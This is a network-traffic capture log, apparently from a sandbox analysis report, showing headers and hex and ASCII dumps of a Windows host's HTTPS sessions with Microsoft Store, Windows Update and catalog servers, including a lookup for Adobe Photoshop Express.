2022-05-26 11:45:24 UTC 3 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 
22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 
73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 
20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 35 2d 32 
36 54 31 35 3a 34 35 3a 32 34 22 7d 7d 
Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No e
ligible content.)."}],"refreshtime":"2022-05-26T15:45:24"}}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

10 192.168.2.4 49727 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:29 UTC 98 OUT GET /image/apps.40093.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.e6964d6a-18a4-4746-9238-
9f0acc233a65?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:29 UTC 98 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 7669
Content-Type: image/png
Last-Modified: Thu, 24 May 2018 00:36:00 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDVDMTBFNTJCMkI1MzM"
MS-CV: zKJ18ukIb0aTWgjG.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:29 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:29 UTC 99 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 1d af 49 44 41 54 78 01 ed 9d 09 74 5d c5 79 c7 3f e9 69 df 17 5b 96 65 c9 bb 83 
01 03 61 5f 62 02 04 43 ba a4 a5 24 69 9a e6 94 93 90 a6 69 d2 94 b4 64 21 4b 4f 9b e4 34 74 0b 25 6c a7 14 92 d0 24 
27 10 92 1c 5a 48 a0 98 10 16 1b c2 c1 36 36 c6 36 d8 18 cb 96 6c c9 5a 2c 6b 7f d2 d3 f2 f4 3a 73 65 2d f7 e9 5d 57 cb 
7d d2 cc bb bf 39 47 bc 3b 77 ee 9d f9 e6 f7 0d 7f cf 9d 3b 77 26 2d 54 79 69 4c 08 10 80 00 04 2c 20 90 6e 81 8d 98 08 
01 08 40 c0 21 80 60 d1 10 20 00 01 6b 08 20 58 d6 b8 0a 43 21 00 01 04 8b 36 00 01 08 58 43 00 c1 b2 c6 55 18 0a 01 
08 20 58 b4 01 08 40 c0 1a 02 08 96 35 ae c2 50 08 40 00 c1 a2 0d 
Data Ascii: PNGIHDR,,y}usRGBIDATxt]y?i[ea_bC$iid!KO4t%l$'ZH666lZ,k:se-]W}9G;w;w&-TyiL, n@!` k XC!6XCU 
X@5P@
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

100 192.168.2.4 49867 20.54.89.106 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:46 UTC 2092 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-26 11:46:46 UTC 2093 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 24869a5d-23fb-4220-8380-d2bd60e4c272
MS-RequestId: 3e31ce76-eb6e-4027-b9b3-5b0de68ad29a
MS-CV: NUPUzuV9Pk6Cbv3Q.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:46 GMT
Connection: close
Content-Length: 35877

2022-05-26 11:46:46 UTC 2093 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-26 11:46:46 UTC 2109 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-26 11:46:46 UTC 2125 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Session ID Source IP Source Port Destination IP
Destination
Port

Process

101 192.168.2.4 49868 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:46 UTC 2128 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=AdobeSystemsIncorporated.AdobePhotosho
pExpress_ynb6jyjzte8ga&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Pub
lic&oemId=Public&scmId=Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: mJvN0d3F60OM+vw5.0.2.4
Host: displaycatalog.mp.microsoft.com
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2022-05-26 11:46:46 UTC 2129 IN HTTP/1.1 200 OK
Connection: close
Date: Thu, 26 May 2022 11:46:45 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: b91e937f-ec7c-4b39-99f8-79cf3f6b6edf
MS-RequestId: a17d8737-1999-411b-8736-6c0b16abc1ba
MS-CV: mJvN0d3F60OM+vw5.0.2.4.1057843640.3764931133.1.1057843639.1212786037.0
X-Content-Type-Options: nosniff
MS-ServerId: cf5cdc-xc7rp
Region: neu
Node: aks-bigcatrpns-32351330-vmss00003x
MS-DocumentVersions: 9WZDNCRFJ27N|4302

2022-05-26 11:46:46 UTC 2129 IN Data Raw: 31 31 62 61 66 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 57 5a 44 4e 43 52 46 4a 32 37 4e 22 5d 2c 22 
48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 33 2d 33 30 54 30 35 3a 34 38 3a 30 36 2e 36 32 36 31 30 39 
33 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 2
2 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 30 35 35 35 35 30 33 36 35 31 36 
38 33 36 32 37 35 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 
Data Ascii: 11baf{"BigIds":["9WZDNCRFJ27N"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-03-30T0
5:48:06.6261093Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3005555036516836275","EISListingIdentifie
r":null,"BackgroundColor":"transpar

2022-05-26 11:46:46 UTC 2133 IN Data Raw: 2e 31 30 34 38 31 2e 39 30 30 37 31 39 39 32 36 36 32 34 33 34 34 39 2e 39 30 37 30 39 63 65 33 2d 30 35 
30 63 2d 34 63 65 66 2d 38 64 34 61 2d 39 65 66 32 31 33 62 38 39 65 66 32 2e 33 35 37 64 38 64 34 39 2d 66 63 61 62 
2d 34 64 35 30 2d 39 66 34 39 2d 32 65 37 32 30 35 33 64 39 61 65 33 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 
46 69 6c 65 49 64 22 3a 22 33 30 32 32 30 30 33 36 33 33 35 38 33 31 32 36 36 37 32 22 2c 22 45 49 53 4c 69 73 74 69 
6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 
61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 
73 22 3a 31 39 31 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 
Data Ascii: .10481.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.357d8d49-fcab-4d50-9f49-2e7
2053d9ae3","Width":66},{"FileId":"3022003633583126672","EISListingIdentifier":null,"BackgroundColor":"transpar
ent","Caption":"","FileSizeInBytes":1915,"ForegroundColor

2022-05-26 11:46:46 UTC 2137 IN Data Raw: 33 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 
6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 
2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 37 37 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 
22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 
22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 4
8 41 32 35 36 48 61 73 68 22 3a 22 52 52 45 38 38 6e 61 62 59 58 36 6b 76 74 64 72 4d 6b 63 42 32 6b 50 48 69 6d 39 
67 55 2f 70 45 61 56 6e 65 65 42 4a 59 6b 75 55 3d 22 2c 22 55 72 69 
Data Ascii: 3","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":3771,"Foregrou
ndColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash":"RRE88nabYX6kv
tdrMkcB2kPHim9gU/pEaVneeBJYkuU=","Uri

2022-05-26 11:46:46 UTC 2141 IN Data Raw: 2e 33 31 38 32 34 2e 39 30 30 37 31 39 39 32 36 36 32 34 33 34 34 39 2e 66 66 35 39 32 37 39 30 2d 35 34 
39 36 2d 34 36 32 65 2d 62 38 36 62 2d 34 63 38 61 32 65 33 63 63 32 62 32 2e 65 32 34 39 62 37 64 62 2d 38 35 34 35 
2d 34 33 61 30 2d 61 37 34 64 2d 63 33 64 31 65 64 32 30 34 34 64 61 22 2c 22 57 69 64 74 68 22 3a 34 31 34 7d 2c 7b 
22 46 69 6c 65 49 64 22 3a 22 31 31 35 32 39 32 31 35 30 34 36 30 37 31 31 38 33 37 36 22 2c 22 45 49 53 4c 69 73 74 
69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 
72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 
65 73 22 3a 37 31 38 30 37 38 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 
Data Ascii: .31824.9007199266243449.ff592790-5496-462e-b86b-4c8a2e3cc2b2.e249b7db-8545-43a0-a74d-c3d
1ed2044da","Width":414},{"FileId":"1152921504607118376","EISListingIdentifier":null,"BackgroundColor":"transpa
rent","Caption":"","FileSizeInBytes":718078,"ForegroundCo

2022-05-26 11:46:46 UTC 2145 IN Data Raw: 63 33 61 2e 38 38 37 64 62 65 36 33 2d 63 63 35 32 2d 34 64 35 64 2d 39 66 63 62 2d 30 38 36 65 33 66 38 
34 62 64 32 38 22 2c 22 57 69 64 74 68 22 3a 32 34 30 30 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 31 31 35 32 39 32 31 
35 30 34 37 34 33 31 38 31 39 38 31 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 
6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 
69 6f 6e 22 3a 22 42 6f 72 64 65 72 73 20 2d 20 43 6f 6d 70 6c 65 74 65 20 74 68 65 20 6c 6f 6f 6b 20 62 79 20 61 64 64 
69 6e 67 20 63 6f 6f 6c 20 62 6f 72 64 65 72 73 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 37 39 
37 30 38 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 
Data Ascii: c3a.887dbe63-cc52-4d5d-9fcb-086e3f84bd28","Width":2400},{"FileId":"1152921504743181981","EISListin
gIdentifier":null,"BackgroundColor":"transparent","Caption":"Borders - Complete the look by adding cool borders","FileSi
zeInBytes":1797081,"ForegroundColor":

2022-05-26 11:46:46 UTC 2149 IN Data Raw: 65 2e 5c 72 5c 6e 5c 72 5c 6e 2a 20 54 65 6d 70 65 72 61 74 75 72 65 20 61 6e 64 20 54 69 6e 74 5c 72 5c 6e 
55 73 65 20 54 65 6d 70 65 72 61 74 75 72 65 20 61 6e 64 20 54 69 6e 74 20 63 6f 6e 74 72 6f 6c 73 20 74 6f 20 69 6e 74 
72 6f 64 75 63 65 20 77 61 72 6d 74 68 20 6f 72 20 63 6f 6c 64 6e 65 73 73 20 74 6f 20 79 6f 75 72 20 70 68 6f 74 6f 2e 
20 59 6f 75 20 63 61 6e 20 61 6c 73 6f 20 63 6f 6e 74 72 6f 6c 20 74 68 65 20 61 6d 6f 75 6e 74 20 6f 66 20 67 72 65 65 
6e 20 61 6e 64 20 72 65 64 20 74 6f 6e 65 73 20 69 6e 20 79 6f 75 72 20 70 68 6f 74 6f 2e 5c 72 5c 6e 55 73 65 20 74 68 
65 20 54 65 6d 70 65 72 61 74 75 72 65 20 73 6c 69 64 65 72 20 63 6f 6e 74 72 6f 6c 73 20 74 6f 20 69 6e 63 72 65 61 73 
65 20 6f 72 20 64 65 63 72 65 61 73 65 20 74 68 65 20 61 
Data Ascii: e.\r\n\r\n* Temperature and Tint\r\nUse Temperature and Tint controls to introduce warmth or coldness to your 
photo. You can also control the amount of green and red tones in your photo.\r\nUse the Temperature slider controls to 
increase or decrease the a

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:46 UTC 2153 IN Data Raw: 22 54 46 22 2c 22 47 41 22 2c 22 47 4d 22 2c 22 47 45 22 2c 22 47 48 22 2c 22 47 49 22 2c 22 47 4c 22 2c 22 
47 44 22 2c 22 47 50 22 2c 22 47 55 22 2c 22 47 47 22 2c 22 47 4e 22 2c 22 47 57 22 2c 22 47 59 22 2c 22 48 54 22 2c 
22 48 4d 22 2c 22 48 4e 22 2c 22 41 5a 22 2c 22 42 53 22 2c 22 42 42 22 2c 22 42 59 22 2c 22 42 5a 22 2c 22 42 4a 22 
2c 22 42 4d 22 2c 22 42 54 22 2c 22 4b 4d 22 2c 22 43 47 22 2c 22 43 44 22 2c 22 43 4b 22 2c 22 43 58 22 2c 22 43 43 2
2 2c 22 43 49 22 2c 22 43 57 22 2c 22 4a 4d 22 2c 22 53 4a 22 2c 22 4a 45 22 2c 22 4b 49 22 2c 22 4b 47 22 2c 22 4c 41 
22 2c 22 4c 53 22 2c 22 4c 52 22 2c 22 4d 4f 22 2c 22 4d 4b 22 2c 22 4d 47 22 2c 22 4d 57 22 2c 22 49 4d 22 2c 22 4d 48 
22 2c 22 4d 51 22 2c 22 4d 55 22 2c 22 59 54 22 2c 22 46 4d 22 2c 
Data Ascii: "TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB
","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO
","MK","MG","MW","IM","MH","MQ","MU","YT","FM",

2022-05-26 11:46:46 UTC 2157 IN Data Raw: 6f 74 6f e2 80 99 73 20 65 78 70 6f 73 75 72 65 20 69 6e 20 68 69 67 68 6c 69 67 68 74 73 2c 20 6d 69 64 74 
6f 6e 65 73 2c 20 61 6e 64 20 73 68 61 64 6f 77 73 2c 20 77 69 74 68 6f 75 74 20 63 6f 6d 70 72 6f 6d 69 73 69 6e 67 20 
6f 6e 20 6f 74 68 65 72 20 61 72 65 61 73 20 6f 66 20 74 6f 6e 61 6c 69 74 79 2e 5c 72 5c 6e 55 73 65 20 42 6c 61 63 6b 
73 20 61 6e 64 20 57 68 69 74 65 73 20 74 6f 20 73 65 74 20 62 6c 61 63 6b 20 70 6f 69 6e 74 20 61 6e 64 20 77 68 69 
74 65 20 70 6f 69 6e 74 20 6f 66 20 74 68 65 20 70 68 6f 74 6f 2e 20 54 68 69 73 20 6d 61 6b 65 73 20 63 6f 6c 6f 72 73 
20 61 70 70 65 61 72 20 63 6f 6d 70 6c 65 74 65 6c 79 20 62 6c 61 63 6b 20 6f 72 20 77 68 69 74 65 2e 5c 72 5c 6e 5c 
72 5c 6e 2a 20 54 65 6d 70 65 72 61 74 75 72 65 20 61 6e 64 20 
Data Ascii: otos exposure in highlights, midtones, and shadows, without compromising on other areas of tonality.\r\nUse 
Blacks and Whites to set black point and white point of the photo. This makes colors appear completely black or white.\r
\n\r\n* Temperature and 

2022-05-26 11:46:46 UTC 2161 IN Data Raw: 4c 22 2c 22 4e 43 22 2c 22 4e 49 22 2c 22 4e 45 22 2c 22 4e 55 22 2c 22 4e 46 22 2c 22 50 57 22 2c 22 50 53 
22 2c 22 50 41 22 2c 22 50 47 22 2c 22 50 59 22 2c 22 52 45 22 2c 22 52 57 22 2c 22 42 4c 22 2c 22 4d 46 22 2c 22 57 
53 22 2c 22 53 54 22 2c 22 53 4e 22 2c 22 4d 50 22 2c 22 50 4e 22 2c 22 53 58 22 2c 22 53 42 22 2c 22 53 4f 22 2c 22 
53 43 22 2c 22 53 4c 22 2c 22 47 53 22 2c 22 53 48 22 2c 22 4b 4e 22 2c 22 4c 43 22 2c 22 50 4d 22 2c 22 56 43 22 2c 2
2 54 4a 22 2c 22 54 5a 22 2c 22 54 47 22 2c 22 54 4b 22 2c 22 54 4f 22 2c 22 54 4d 22 2c 22 54 43 22 2c 22 54 56 22 2c 
22 55 4d 22 2c 22 55 47 22 2c 22 56 49 22 2c 22 56 47 22 2c 22 57 46 22 2c 22 45 48 22 2c 22 5a 4d 22 2c 22 5a 57 22 
2c 22 55 5a 22 2c 22 56 55 22 2c 22 53 52 22 2c 22 53 5a 22 2c 22 41 
Data Ascii: L","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN",
"SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI",
"VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","A

2022-05-26 11:46:46 UTC 2165 IN Data Raw: 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 50 68 6f 74 6f 20 26 20 76 69 64 65 6f 5c 22 2c 5c 22 
6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 66 61 6c 73 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 
6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 
67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 
64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 
65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 
2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 
Data Ascii: ategory.second\":\"Photo & video\",\"optOut.backupRestore\":false,\"optOut.removeableMedia\":false},\"policy
2\":{\"ageRating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"
level\":48,\"syst

2022-05-26 11:46:46 UTC 2169 IN Data Raw: 22 31 32 61 31 36 39 34 62 2d 31 66 32 30 2d 34 30 30 65 2d 62 38 37 35 2d 63 66 36 32 63 33 62 61 63 64 
66 36 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 63 30 38 61 30 64 37 32 2d 32 38 61 31 2d 34 36 35 61 2d 
39 65 37 30 2d 36 61 35 62 38 30 62 34 34 64 36 30 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 
22 41 64 6f 62 65 53 79 73 74 65 6d 73 49 6e 63 6f 72 70 6f 72 61 74 65 64 2e 41 64 6f 62 65 50 68 6f 74 6f 73 68 6f 70 4
5 78 70 72 65 73 73 5f 79 6e 62 36 6a 79 6a 7a 74 65 38 67 61 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 
43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 
7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 
Data Ascii: "12a1694b-1f20-400e-b875-cf62c3bacdf6","WuCategoryId":"c08a0d72-28a1-465a-9e70-6a5b80b44
d60","PackageFamilyName":"AdobeSystemsIncorporated.AdobePhotoshopExpress_ynb6jyjzte8ga","SkuId":"001
0","Content":null,"PackageFeatures":null}},{"Applications":[{"Appli

2022-05-26 11:46:46 UTC 2173 IN Data Raw: 6f 72 61 74 65 64 2e 41 64 6f 62 65 50 68 6f 74 6f 73 68 6f 70 45 78 70 72 65 73 73 5f 79 6e 62 36 6a 79 6a 7a 
74 65 38 67 61 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 
6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 41 64 6f 62 65 53 79 73 74 65 6d 73 49 6e 63 6f 72 
70 6f 72 61 74 65 64 2e 41 64 6f 62 65 50 68 6f 74 6f 73 68 6f 70 45 78 70 72 65 73 73 5f 32 30 31 37 2e 39 32 31 2e 31 
34 33 34 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 79 6e 62 36 6a 79 6a 7a 74 65 38 67 61 22 2c 22 50 61 63 6b 61 67 65 
49 64 22 3a 22 63 65 36 62 34 38 39 66 2d 33 30 66 33 2d 34 36 63 36 2d 62 32 65 34 2d 35 65 37 66 30 32 31 31 63 33 
35 66 2d 58 38 36 2d 58 36 34 2d 41 72 6d 22 2c 22 50 61 63 6b 61 
Data Ascii: orated.AdobePhotoshopExpress_ynb6jyjzte8ga","MainPackageFamilyNameForDlc":null,"PackageFullName":"
AdobeSystemsIncorporated.AdobePhotoshopExpress_2017.921.1434.0_neutral_~_ynb6jyjzte8ga","PackageId":
"ce6b489f-30f3-46c6-b2e4-5e7f0211c35f-X86-X64-Arm","Packa

2022-05-26 11:46:46 UTC 2177 IN Data Raw: 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 
47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 50 72 69 63 65 22 3a 7b 22 43 75 
72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 2
2 4c 69 73 74 50 72 69 63 65 22 3a 30 2e 30 2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 65 22 3a 22 22 
